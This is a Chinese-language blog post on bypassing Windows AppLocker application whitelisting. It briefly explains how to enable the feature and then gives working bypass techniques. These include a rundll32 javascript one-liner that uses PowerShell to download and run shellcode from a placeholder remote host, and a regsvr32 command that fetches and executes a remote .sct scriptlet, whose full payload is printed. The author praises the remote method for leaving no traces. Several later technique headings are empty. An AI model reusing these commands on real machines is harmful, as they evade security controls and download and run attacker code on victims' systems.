Applocker bypass

简介

Windows AppLocker,也叫应用程序控制策略

AppLocker 允许用户根据文件的唯一标识,或者创建允许或拒绝应用程序运行的规则来指定哪些用户或组具备何种运行指定的应用程序的权限。

简单的说就是限制了文件或文件夹的权限,不能够被任何用户或只能被某一类用户执行。 关于Applocker的设置可以参考其他文章,本文主要是关于bypass applocker;

AppLocker只能限制下列几类程序:

  • 可执行程序(exe、com)
  • 脚本程序(bat、ps1、vbs、bat和cmd)
  • Windows Installer文件(msi、msp)
  • DLL文件(dll、ocx)

开启AppLocker服务

进入计算机管理-服务和应用程序-服务-Application Identity设置为开启状态

图片说明

命令行输入gpedit.msc,选择计算机配置-windows设置-安全设置-应用程序控制策略-Applocker对Applocker进行配置。

图片说明

为了方便测试便使用默认的规则,对脚本和应用程序创建默认规则

图片说明

各种绕过姿势

rundll32

javascript

通过javascript脚本来执行从web服务器上下载的payload; Run可以执行cmd命令,

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

http://ip:port/ 为一段shellcode,

Regsvr32

regsvr32通常用来注册或者反注册**.dll** 文件或者ActiveX控件。 通过它执行scr文件来绕过Applocker,并且因为它是windows系统文件,是受信任的,而且不会在硬盘上留下痕迹。

创建一个payload.sct文件,内容如下,里面嵌入了 JavaScript 代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\pentestlab.exe");
]]>
</script>
</registration>
</scriptlet>

使用远程服务器上保存的的sct文件,又不会留下痕迹,简直是打家劫舍的神器。

1
regsvr32 /u /n /s /i http://ip:port/payload.sct scrobj.dll

也可以使用本地的文件,命令如下:

1
regsvr32 /u /n /s /i payload.sct scrobj.dll`

各个参数的作用如下:

1
2
3
4
/s 不显示任何消息
/n 不调用dll注册服务
/i 指定对应的sct文件,可以使用本地文件和远程服务器的文件
/u 使用未注册方法

scrobj.dll为系统文件,通过regsvr32执行嵌入的脚本。

Control Panel

MSBuild

BgInfo

Assembly

InstallUtil

Assembly Load

参考链接

http://www.freebuf.com/sectool/93632.html BypassWindowsAppLocker --三好学生

BypassWindowsAppLocker [winapplocker-bypass]https://packetstormsecurity.com/files/141807/winapplocker-bypass.txt

Debug_Python_Scripts_with_Eclipse

文章目录
  1. 1. 简介
  2. 2. 开启AppLocker服务
  3. 3. 各种绕过姿势
    1. 3.1. rundll32
      1. 3.1.1. javascript
    2. 3.2. Regsvr32
    3. 3.3. Control Panel
    4. 3.4. MSBuild
    5. 3.5. BgInfo
    6. 3.6. Assembly
    7. 3.7. InstallUtil
    8. 3.8. Assembly Load
  4. 4. 参考链接
|